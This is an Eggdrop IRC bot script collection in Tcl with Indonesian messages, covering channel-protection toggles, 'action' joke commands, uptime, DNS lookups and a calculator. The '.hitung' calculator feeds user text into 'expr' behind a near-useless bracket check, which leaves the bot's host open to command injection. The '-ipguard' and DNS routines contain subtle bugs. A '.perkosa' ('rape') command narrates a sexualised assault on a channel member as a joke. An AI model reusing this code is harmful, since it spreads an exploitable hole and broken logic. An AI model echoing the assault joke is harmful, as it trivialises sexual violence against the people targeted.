proc pub_+clone {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +clone <max>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +O
setuser $cflag XTRA "CLONE" $rest
puthlp "NOTICE $nick :$notc cLonE $chan MaX \[9$rest\]"
saveuser
}
proc pub_-clone {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -O
setuser $cflag XTRA "CLONE" ""
puthlp "NOTICE $nick :$notc cLonE $chan \[4OFF\]"
saveuser
}
proc pub_+key {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
set rest [lindex $rest 0]
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage +key <word>"
return 0
}
chattr $cflag +K
setuser $cflag XTRA "CI" [zip $rest]
puthlp "NOTICE $nick :$notc KeY $chan \[9$rest\]"
saveuser
}
proc pub_-key {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -K
setuser $cflag XTRA "CI" ""
puthlp "NOTICE $nick :$notc KeY $chan \[4OFF\]"
saveuser
}
proc pub_+text {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +text <max>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +T
setuser $cflag XTRA "CHAR" $rest
puthlp "NOTICE $nick :$notc TexT $chan MaX \[9$rest\]"
saveuser
}
proc pub_-text {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -T
setuser $cflag XTRA "CHAR" ""
puthlp "NOTICE $nick :$notc TexT $chan \[4OFF\]"
saveuser
}
proc pub_+caps {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +caps <%percent>"
return 0
}
if {$rest == 0 || $rest > 100} {
puthlp "NOTICE $nick :$notc fill under 1 - 100%"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +U
setuser $cflag XTRA "CAPS" $rest
puthlp "NOTICE $nick :$notc CAPS $chan \[9$rest%\]"
saveuser
}
proc pub_-caps {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -U
setuser $cflag XTRA "CAPS" ""
puthlp "NOTICE $nick :$notc cAPs $chan \[4OFF\]"
saveuser
}
proc pub_+repeat {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +repeat <max>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +R
setuser $cflag XTRA "RPT" $rest
puthlp "NOTICE $nick :$notc RePeaT $chan MaX \[9$rest\]"
saveuser
}
proc pub_-repeat {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -R
setuser $cflag XTRA "RPT" ""
puthlp "NOTICE $nick :$notc RePeaT $chan \[4OFF\]"
saveuser
}
proc pub_+autovoice {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +AuTovoIcE <secs>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +V
setuser $cflag XTRA "VC" $rest
puthlp "NOTICE $nick :$notc AuTovoIcE $chan qUeUe \[9$rest\] 2nd"
saveuser
pub_mvoice $nick $uhost $hand $chan ""
}
proc pub_-autovoice {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -V
setuser $cflag XTRA "VC" ""
puthlp "NOTICE $nick :$notc AuTovoIcE $chan \[4OFF\]"
saveuser
foreach x [utimers] {
if {[string match "*voiceq $chan*" $x]} { killutimer [lindex $x 2] }
}
}
proc pub_+enforceban {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +E
puthlp "NOTICE $nick :$notc enforceban $chan \[9ON\]"
saveuser
}
proc pub_-enforceban {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -E
puthlp "NOTICE $nick :$notc enforceban $chan \[4OFF\]"
saveuser
}
proc pub_+revenge {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +D
puthlp "NOTICE $nick :$notc revenge $chan \[9ON\]"
saveuser
}
proc pub_-revenge {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -D
puthlp "NOTICE $nick :$notc revenge $chan \[4OFF\]"
saveuser
}
proc pub_+forced {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +M
puthlp "NOTICE $nick :$notc forced $chan \[9ON\]"
saveuser
}
proc pub_-forced {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
chattr $cflag -M
puthlp "NOTICE $nick :$notc forced $chan \[4OFF\]"
saveuser
}
proc pub_-colour {nick uhost hand chan rest} {
global notc kickclr
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set kickclr "T"
setuser "config" XTRA "KCLR" "Y"
puthlp "NOTICE $nick :$notc colour kick \[4OFF\]"
saveuser
}
proc pub_+colour {nick uhost hand chan rest} {
global notc kickclr
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
catch {unset kickclr}
setuser "config" XTRA "KCLR" ""
puthlp "NOTICE $nick :$notc colour kick \[9ON\]"
saveuser
}
proc pub_+ipguard {nick uhost hand channel param} {
global botname botnick notc botnick
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +ipguard <hostname>"
return 0
}
if {$rest == "*" || $rest == "*!*@*"} {
puthlp "NOTICE $nick :$notc invalid hostname..!"
return 0
}
if {![string match "*@*" $rest]} {
puthlp "NOTICE $nick :$notc Usage: +ipguard <hostname>"
return 0
}
set ipguard [getuser "config" XTRA "IPG"]
foreach y $ipguard {
if {$y == $rest} {
puthlp "NOTICE $nick :$notc $rest allready added..!"
return 0
}
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
puthlp "NOTICE $nick :$notc add \[$rest\] To IpguaRd"
lappend ipguard $rest
setuser "config" XTRA "IPG" $ipguard
saveuser
return 0
}
proc pub_-ipguard {nick uhost hand channel param} {
global notc
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -ipguard <hostname>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set ipguard [getuser "config" XTRA "IPG"]
set nipg ""
set ok "F"
foreach y $ipguard {
if {$y == $rest} {
set ok "T"
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM IpguaRd"
} {
lappend nipg
}
}
if {$ok == "T"} {
setuser "config" XTRA "IPG" $nipg
saveuser
return 0
}
puthlp "NOTICE $nick :$notc $rest not founded..!"
}
putlog "======================================="
putlog "          walls.tcl Loaded        "
putlog "          eggoez@ps-x.net.net        "
putlog "         Editing 18 November 2009       " 
putlog "             By g0eZ egGo             "
putlog "======================================="

#############
# aCtiON mode ON #
#############

bind pub - .aksi pub_iseng
proc pub_iseng {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah 12.bunga |12 .cium |12 .ban |12 .bunuh |12 .kick |12 .slap |12 .gantung |12 .peluk |12 .cakar |12 .banting |12 .hajar|12 .jitak |12 .perkosa"
      return 0
    }
}

 

bind pub - .bunga pub_bunga
proc pub_bunga {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .bunga <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :6huaaaaaa... accciiikk... 5dikacih bunga nih.. 6makasih makasih... 7mwaaah... mwaaaahhhh pass bibil"
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :5walaahh... 6$nick 5dacal pelits.. bunganya kok buat dili cendili cih... 6dacal .. 7:P".
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :5cieeeehhh 6$nick 5ngasih setangkai bunga plastik uy buat6 $person 5cuuupssss... ^_* 7ai lop yu, yu lop mi, yu en mi loph loph an...."
    } else {
        putserv "PRIVMSG $chan :5hmmmmm... si 6$nick 5badung ah, mana ada nick 6$person 5di sini.. 7mending buat akuh.. 5:*"
    }
}

bind pub - .kiss pub_kiss
bind pub - .cium pub_kiss
proc pub_kiss {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .kiss <nick> atau .cium <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :5hadah.....napa kok 6aku5 mau dicium.. 6aku5 udah punya pacar6 $nick 7dasar dudung!!"
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :5huahuahua.. 6$nick 5itu bibir dicopot aja dolo yah.. trus di ciumin ke pipi kamu 7xixixixixixi6 :P"
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 5mencium bibir merahnya6 $person 5sambil merem.. 7muaccchhh.. muaaachhh.. muaaaachhh... much..much..much.. clegukz.. nickmat khan 6$person"
    } else {
        putserv "PRIVMSG $chan :5hmmmmm... si 6$nick 5badung ah, mana ada nick 6$person 5di sini.. 7mending cium bibil akuh.. 5:*"
    }
}

bind pub - .ban pub_banmu
proc pub_banmu {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan .ban <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :5duarRRRRR kalo 6aku 7dibaannn... 5terus siapa yang bukaian.. 5dudung ach.. 7:K"
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :5begh.. 6$nick 5sarap yah koq 6kamuh 5mau 7ngebaann 5kamu sendiri 6$nick 7badung ah..5 hehehehe..."
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 5ngalungin ban kereta keleher6 $person 7GuubrakKKKK..... 5sakit gak6 $person 5abisnya mau banned g punya access sih.."
    } else {
        putserv "PRIVMSG $chan :5waaah pasti salah room yaaaaa.....  6$nick ..?? 5mana ada si 6$person 5di sini.. 7dasar"
    }
}

bind pub - .kill pub_kill
bind pub - .bunuh pub_kill
proc pub_kill {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .kill <nick> atau .bunuh <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :5beuhh... 6aku5 salah apa say.. kok minta6 aku 5bunuh diri sih... 7gak akan terjadi 6aku bunuh diriku sendiri5 huahuahuahauha"
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :6$nick 5aku lempar juga kau nanti dari atas gedung lantai empat...7biar matek... 5hauhauahauhauhau.."
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 5tembaK anunya6 $person 5pake 7tembak air... yak 5crutz crutz crutz.. si 6$person 5mengeluh ngeluh kesakitan.. aaaaaaaaaahhh.. tidakKKk... kapok loe 6$person  7ekekekekekekeke "
    } else {
        putserv "PRIVMSG $chan :5wedew... 6$nick 5benran mau nembak6 $nick 5bukanya itu7 kamu sendiri,6 $person 5dodol banget sih...."
    }
}

bind pub - .kick pub_tendang
bind pub - .tendang pub_tendang
proc pub_tendang {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .kick <nick> atau .tendang <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :5waaaaaahhh...kok 6aku5 sih yang mau di tendang...7 gak jadi deh... 5males.. :C"
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :5hmmmm 6$nick 5ni mau dibawa ke RSJ kali yah.. 5mana ada tendang diri sendiri, 6$nick 7tendang bokong kamu aja sendiri yah.. 5:P"
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 5teenndaaanggg si6 $person 5pake sepatu hansip.. pas dipantat 7DeezZZZ.. DesSSS 5pecah ngga tuh bisulnya..7 xuxuxuxuxu"
    } else {
        putserv "PRIVMSG $chan :5waaaah pasti gak pake kacamata yaaaaa.....7 oi 6$nick 5.. si 6$person 5gak ada di sini.. 7gak liat nicklist sih.. ^_^"
    }
}

bind pub - .slap pub_slap
proc pub_slap {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .slap <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :6$nick 5slapssss 7pipiku yang imut² ini sampai 4merah... 4*0^_^4*5 hmmmmm 6$nick 5sakit tau mending di cium aja gih.."
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :5jiahhh... 6$nick 5itu tanganya di away dolo dr keyboard deh.. 7tarik ke atas setinggi kepala.. tarik kekanan timpukin ke pipi kamu 5huahauhauhau.. dudulz.."
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 2slaaaaapsssssss6 $person 5dijidat pake kursi, kompor, penggorengan, keyboard, monitor, linggis... 7JeGuuuERRR... PleeTHaaQQQ.. DeeZZiiNGhHH.. 5wkwkwkwk... punyeng yah6 $person "
    } else {
        putserv "PRIVMSG $chan :5slaps 4eRRoR!!! 5abisnya si 6$nick 5gak liat sih, mana ada  6$person 5disini.. 7cape deh.."
    }
}

bind pub - .gantung pub_gantung
proc pub_gantung {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .gantung <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :5DuaaaRRRR....6aku7 masih pengen hidup tauk... 4;3*"
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :5gini 6$nick 6aku5 kasih saran yach.. 5ambil tali ma kursi gih.. terus talinya diikatin dipohon.. 7nah.. gantungin tu leher kamu di tali itu 5beres dah.. xixixixixi"
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :5ayo siapa mau ikut aku ganntuuung6 $person ?? 7kita gantung di pohon tomat yah pake tali kolornya6 $nick 5aja 5Srruuuttt Sruttt... makanya jangan nakal yah.. "
    } else {
        putserv "PRIVMSG $chan :5adyah.... si 6$nick 5duduts sangad nih, mana ada si 6$person di sini.. 7gantung ChanServ aja yah... 5hahahahahakz"
    }
}

bind pub - .hug pub_hug
bind pub - .peluk pub_hug
proc pub_hug {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .hug <nick> atau .peluk <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :5hayah.... enak aja lo6 $nick 7mau peluk² aku lagi... 5 nanti si eggo marah lo... kalo tau.."
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :5huaaaaaaaaaaa 6$nick 5buruan lari ke pohon kelapa sana.... 7peluk tu pohon ampe pagi... 5wkwkwkwkwkwk.."
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 5peelluuuukkk mesraa dan penuh nafsu si6 $person 5grRR tanganya si6 $nick 7nakal iks... 5wahhh si6 $person 7itu merem melek kenapa yah... . 5angeett yahhhh ^_* hauhauahuahauhauaha..."
    } else {
        putserv "PRIVMSG $chan :5begh.... si 6$nick 5mau peluk siapa eyy... 6$person 7lo gak ada ye...5 mendingan peluk 6$botnick 5aja yah ;p"
    }
}

bind pub - .cakar pub_cakar
proc pub_cakar {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .cakar <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :5hayah... kok main cakar² ma6 $botnick 5sihhh....... 6$nick.. 7minta digigit bibil nya yaaaaaaa..5 sksajhsajksagda"
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :5wkwkwkwkwkwk... okelah... 6$nick 5cakar aja itu anumu sendiri...6 $botnick 7ogah ah... jijik najis... 5huehueheuhehue.. "
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 5cakar²6 $person 5pake kaki harimau... 7serrrrrrrrrrrrrrrrrr...... 5cleguks "
    } else {
        putserv "PRIVMSG $chan :5yang mau di cakar siapa6 $nick 5??"
    }
}

bind pub - .hajar pub_banting
proc pub_banting {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .hajar <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :$nick 5bersiap² mau 7HAJAR6 $botnick .... 4tapi12 $botnick 3lariiiiii oyyy,,, 5gak kenak deh jadinya... 11:)"
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :3wedew --**6 $nick 5mulai gak 4waras 12euyyyy...."
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 13lempar 9bogem 7banting 2jejeg 13pukul 3jewer 8injek-injek 10keplak 11jorokin 2Gigit 3Gantung 12Tebas 11Cakar 4Hajar 6santet 2jitak 3cincang 8tusuk 10bacok 2iris-iris4 $person  dengan penuh 13perasaan :P."
    } else {
        putserv "PRIVMSG $chan :5heh..6 $nick 5abis berapa botol semalem.. 7masih aja kocak...."
    }
}

bind pub - .jitak pub_kerokin
proc pub_kerokin {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .jitak <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :5ewh..6 $nick 5kalo jitak 6$botnick 5nanti6 $botnick 5bilangin ke 7g0eZ 5lohh..."
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :7wkwkwkwkwkwkwk... 6$nick 5mau 6$botnick 5bantuin jitakin kepalamu gak... 7:p"
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 5jitak kepala6 $person 5Pake Kibot Lucak Pak Pik Puk Pek Pok...4A 12I 7U 13E 9O"
    } else {
        putserv "PRIVMSG $chan :5heh..6 $nick 5masih mumet ya tu kepala.. abis berapa botol semalem.. 7masih aja kocak...."
    }
}

bind pub - .tarik pub_tarik
bind pub - .tarik pub_tarik
proc pub_tarik {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .tarik <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :5aduchhhhh.....6 $nick 5tarik aku nichh.... 7g0eZ g0eZ... 5tolongin aku donk sayyy.........."
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :5ehhh...6$nick 5mau tarik rombong apa ya....6$ person 5mana kok gak ada.... 7badung ach..."
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 5tarik celananya 6 $person 5ke bawah....7sssrrreeettt....!!! 5waikssssss.... mlorot uyyy.. kelihatan tuh cd nya.....6 $person 5malu yah...! 5kacian banget deh.."
    } else {
        putserv "PRIVMSG $chan :5heh..6 $nick 5masih mumet ya tu kepala.. abis berapa botol semalem.. 7masih aja kocak...."
    }
}

bind pub - .Bom pub_bom
bind pub - .Bomm pub_bomm
proc pub_bom {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .bom <nick> atau .bomm <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :6$botnick 5tangkap lalu balikin lagi ach ke6 $nick 4*!*BoOoOoOoMm*!* 5biar tau rasa loh 7gOoosoOong maning gOosOong maning bOS BOs.."
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :5haaaaaa... 6$nick 7badung...5ambil tu c4.. mampusss loe 4boOoOom 5duarRRRRRRRRR.."
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 5kasih bungkusan kado berisi 7c45 ke 6$person 5buka donk6 $person , $person 5mendadak kaget uy... waaaa 4BoOoOoOoMm 5mau teriak keburu 4DuaRRRRRR5 meletus tuh 7c4 5nya kasihan deh... "
    } else {
        putserv "PRIVMSG $chan :5heyy... si 6$nick 2bodo banget sih, mana ada 6$person 5di sini.. "
    }
}

bind pub - .perkosa pub_perkosa
proc pub_perkosa {nick uhost handle chan arg} {
    global botnick
    if {$arg == ""} {
      putserv "NOTICE $nick :gunakan perintah .perkosa <nick>"
      return 0
    }
    set person [lindex $arg 0]
    if {$person == $botnick} {
       putserv "PRIVMSG $chan :5hmmmmmmmmmmmmmmm...6 $nick 5mau perkosa aq.?? 6aku 6bilangin 7g0eZ 5loh.... :K"
    } elseif {$person == $nick} {
       putserv "PRIVMSG $chan :5temen² si 6$nick 5gak normal nih....6 $botnick 5jadi takut deh.... hiiiiiiiii... 7jijik....:P"
    } elseif {[onchan $person $chan]} {
        putserv "PRIVMSG $chan :6$nick 5peluk 6$person.. 5hiiiii.... mau di apain ya si6 $person 5??.. 5waaa.... kok di buka bajunya... wah wah... tanganya6 $nick 5 jahil tuh...5disentuh lagi......wedew buka celananya juga.. 7:?"
    } else {
        putserv "PRIVMSG $chan :5jiah... si 6$nick 5beggok banget deh, mana ada si 6$person 5di sini.. 7gak asik ah.. "
    }
}
putlog "aCtiOn .tcl LoaDeD By g0eZ egGo"


bind pub - "!uptime" pub:ambiluptime
set jammulai [unixtime]
set vern "4«5º14g10003e15Z 15e3g10G14o5º4»"
set awaym {
"Lagi PeRangZ Ma IrCopz!"
"belajar Bikinz Scriptz!!"
"BoBo NyeNyakZ!!"
"perGi Ke SekoLahz"
"Epon YaYaNkz"
"Mandi Kramasz"
"KangeN MaMa"
"bIkin Webz"
"Em Elz"
"bIkin Adikz"
"MojOk aMa yaYangz"
"LaGi NontOnz IteNAz"
"SurFinGz 17tahun.Comz"
"ngaskus dulu juragan"
"ngopi-ngopi dulu ah"
"olah raga malem"
"saatnya ikutan kuis"
"syuting film"
"cari gebetan"
}

proc pub:pengecekan {} {
global jammulai awaym vern
set jamsaatini [unixtime]
set uptimesekarang [return:uptime $jammulai $jamsaatini]
set readabletime [konversidurasi $uptimesekarang]
set awaymsg [lindex $awaym [rand [llength $awaym]]]
putserv "AWAY"
putserv "AWAY :$awaymsg \[UpTImE for : $readabletime\] - $vern"
timer [expr 1] pub:pengecekan
}

proc pub:ambiluptime { nick uhost hand chan text } {
global jammulai vern
set jamsaatini [unixtime]
set uptimesekarang [return:uptime $jammulai $jamsaatini]
set readabletime [konversidurasi $uptimesekarang]
#putserv "PRIVMSG $chan :Bot mulai hidup dalam UNIXtime $jammulai"
#putserv "PRIVMSG $chan :Jam saat ini dalam UNIXtime $jamsaatini"
#putserv "PRIVMSG $chan :Jumlah pengurangan dalam detik : $uptimesekarang"
#putserv "PRIVMSG $nick :\[UpTImE for : $readabletime\] - $vern"
}

proc return:uptime { starts ends } {

set value [expr $ends - $starts]
return $value

}

proc konversidurasi {seconds} {
   set h [expr $seconds/3600]
   set m [expr $seconds/60 - $h*60]
   set s [expr $seconds - $m*60 - $h*3600]
   return "[lindex [split $h] 0] HOuRs [lindex [split $m] 0] MiNuTes [lindex [split $s] 0] SecoNds"
}

set init-server {
global jammulai
set jammulai [unixtime]
pub:pengecekan
}
putlog "Uptime on Awaymsg By g0eZ egGo"
bind pub - .hitung calc

set pi 3.1415926535897932
set e 2.71828182845905
set g 9.81

proc calc {nick host handle channel arg} {
  global pi e g
  if {$arg != "" && ![string match "\[" $arg] && ![string match "\]" $arg]} {
    putserv "PRIVMSG $channel :eh $nick hasilnya yaitu yakni adalah ialah  [expr $arg]"
  } else {
    putserv "NOTICE $nick :12Caranya .hitung 1+1 --- konstanta: \$pi \$e \$g --- fungsi: abs(), acos(), asin(), atan(), atan2(), ceil(), cos(), cosh(), exp(), floor(), fmod(), hypot(), log(), log10(), pow(), round(), sin(), sinh(), sqrt(), tan(), tanh() --- \[ dan \] tidak boleh dipakai dalam expresi."
  }
}


bind pub - [string trim $dnshost(cmdchar)]dns dns:res
bind pub n|n [string trim $dnshost(cmdchar)]amsg pub:amsg
bind pub - [string trim $dnshost(cmdchar)]host pub:host
bind pub - [string trim $dnshost(cmdchar)]version pub:ver
bind pub - [string trim $dnshost(cmdchar)]dnsnick dns:nick
bind raw * 311 raw:host
bind raw * 401 raw:fail

set dns_chan ""
set dns_host ""
set dns_nick ""
set dns_bynick ""

proc pub:host {nick uhost hand chan arg} {
global dns_chan
set dns_chan "$chan"
putserv "WHOIS [lindex $arg 0]"
}

proc raw:host {from signal arg} {
global dns_chan dns_nick dns_host dns_bynick
set dns_nick "[lindex $arg 1]"
set dns_host "*!*[lindex $arg 2]@[lindex $arg 3]"
foreach dns_say $dns_chan { puthelp "PRIVMSG $dns_say :!4HoS4t!14 Host-nya03 \037\002$dns_nick\017 14adalah03 \037\002$dns_host\017 ." }
if {$dns_bynick == "oui"} {
                set hostip [split [lindex $arg 3] ]
                dnslookup $hostip resolve_rep $dns_chan $hostip
                set dns_bynick "non"
}
}

proc raw:fail {from signal arg} {
global dns_chan
set arg "[lindex $arg 1]"
foreach dns_say $dns_chan { puthelp "PRIVMSG $dns_say :!4HoS4t!14 \037\002$arg\017 : 03Tidak Ditemukan" }
}

proc pub:ver {nick uhost hand chan text} {
putserv "PRIVMSG $chan :0,4<1,4>1,5 e14g15go14e1z 1,4<0,4>"
}

proc dns:res {nick uhost hand chan text} {
 if {$text == ""} {
            puthelp "privmsg $chan :0,4<1,4>1,5 e14g15go14e1z 1,4<0,4> Used: [string trim $dnshost(cmdchar)]dns <host or ip>"
        } else {
                set hostip [split $text]
                dnslookup $hostip resolve_rep $chan $hostip
        }
}

proc dns:nick {nick uhost hand chan arg} {
global dns_chan dns_bynick dnshost
 if {$arg == ""} {
 puthelp "privmsg $chan :0,4<1,4>1,5 e14g15go14e1z 1,4<0,4> Used: [string trim $dnshost(cmdchar)]dnsnick <nick>"
        } else {
set dns_chan "$chan"
set dns_bynick "oui"
putserv "WHOIS [lindex $arg 0]"
        }
}

proc resolve_rep {ip host status chan hostip} {
        if {!$status} {
                puthelp "privmsg $chan :!4DN4s! 14Tidak Ada Hasil Untuk03 \037\002$hostip\017 ."
        } elseif {[regexp -nocase -- $ip $hostip]} {
                puthelp "privmsg $chan :!4DN4s! 14Hasil untuk03 \037\002$ip\017 14ke03 \037\002$host\017 ."
        } else {
                puthelp "privmsg $chan :!4DN4s! 14Hasil Untuk03 \037\002$host\017 14ke03 \037\002$ip\017 ."
        }
}

putlog "DnS Loaded By g0eZ egGo Successfully"

###############################################################################

bind pub - .dwhois dwhois
proc dwhois {nick host handle chan text} {
set server "isfree.schlundtec.com"
set port 80
set l 14
set i 0
set path "/cgi-bin/isfree.cgi?nodesign=1&domain=[lindex $text 0]"
set sockdw [socket $server $port]
puts $sockdw "GET $path HTTP/1.0"
puts $sockdw "User.Agent:Mozilla"
puts $sockdw "Host: $server"
puts $sockdw ""
